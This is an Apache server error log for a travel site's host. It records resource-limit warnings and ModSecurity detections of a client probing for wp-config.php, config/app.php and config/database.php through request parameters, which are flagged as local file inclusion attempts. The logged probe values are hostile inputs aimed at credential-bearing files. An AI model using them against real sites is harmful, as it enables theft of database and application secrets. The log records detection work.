[Fri Jul 17 08:55:46.730262 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.730427 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgukkXT4NBqALj2lZ8-QAAABA"]
[Fri Jul 17 08:55:46.730521 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.730524 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgujsMb3am0TgkjETa8wAAAAo"]
[Fri Jul 17 08:55:46.730772 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgukkXT4NBqALj2lZ8-QAAABA"]
[Fri Jul 17 08:55:46.734860 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:id. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:id: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgugRRrtuZqNDDSqWwSwAAABo"]
[Fri Jul 17 08:55:46.735620 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgugRRrtuZqNDDSqWwSwAAABo"]
[Fri Jul 17 08:55:46.735730 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.736014 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgugRRrtuZqNDDSqWwSwAAABo"]
[Fri Jul 17 08:55:46.760425 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:id. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:id: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguroj0IkvhSCYadmB3QAAAAQ"]
[Fri Jul 17 08:55:46.761087 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguroj0IkvhSCYadmB3QAAAAQ"]
[Fri Jul 17 08:55:46.761220 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.761555 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguroj0IkvhSCYadmB3QAAAAQ"]
[Fri Jul 17 08:55:46.763621 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.802234 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.803168 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.805397 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.805960 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.807547 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.809687 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.816705 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.816869 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.819141 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.821238 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.828966 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.857210 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.859794 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.862130 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:name. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:name: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgujsMb3am0TgkjETa9gAAAAo"]
[Fri Jul 17 08:55:46.862786 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgujsMb3am0TgkjETa9gAAAAo"]
[Fri Jul 17 08:55:46.862918 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.863281 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgujsMb3am0TgkjETa9gAAAAo"]
[Fri Jul 17 08:55:46.875980 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:name. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:name: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguroj0IkvhSCYadmB3wAAAAQ"]
[Fri Jul 17 08:55:46.876647 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguroj0IkvhSCYadmB3wAAAAQ"]
[Fri Jul 17 08:55:46.876793 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.877117 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguroj0IkvhSCYadmB3wAAAAQ"]
[Fri Jul 17 08:55:46.882359 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:name. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:name: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgunRlmrtCoY_COpcmHAAAAAg"]
[Fri Jul 17 08:55:46.882932 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgunRlmrtCoY_COpcmHAAAAAg"]
[Fri Jul 17 08:55:46.883024 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.883279 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgunRlmrtCoY_COpcmHAAAAAg"]
[Fri Jul 17 08:55:46.884312 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:name. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:name: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguhJ0z2bEtnOrIXVAeAAAAAk"]
[Fri Jul 17 08:55:46.884906 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguhJ0z2bEtnOrIXVAeAAAAAk"]
[Fri Jul 17 08:55:46.885074 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.885387 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguhJ0z2bEtnOrIXVAeAAAAAk"]
[Fri Jul 17 08:55:46.886697 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:name. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:name: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgugRRrtuZqNDDSqWwTgAAABo"]
[Fri Jul 17 08:55:46.886952 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:name. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:name: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguo1dLClkUfK_dfHlAAAAAAI"]
[Fri Jul 17 08:55:46.887299 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgugRRrtuZqNDDSqWwTgAAABo"]
[Fri Jul 17 08:55:46.887397 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.887489 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguo1dLClkUfK_dfHlAAAAAAI"]
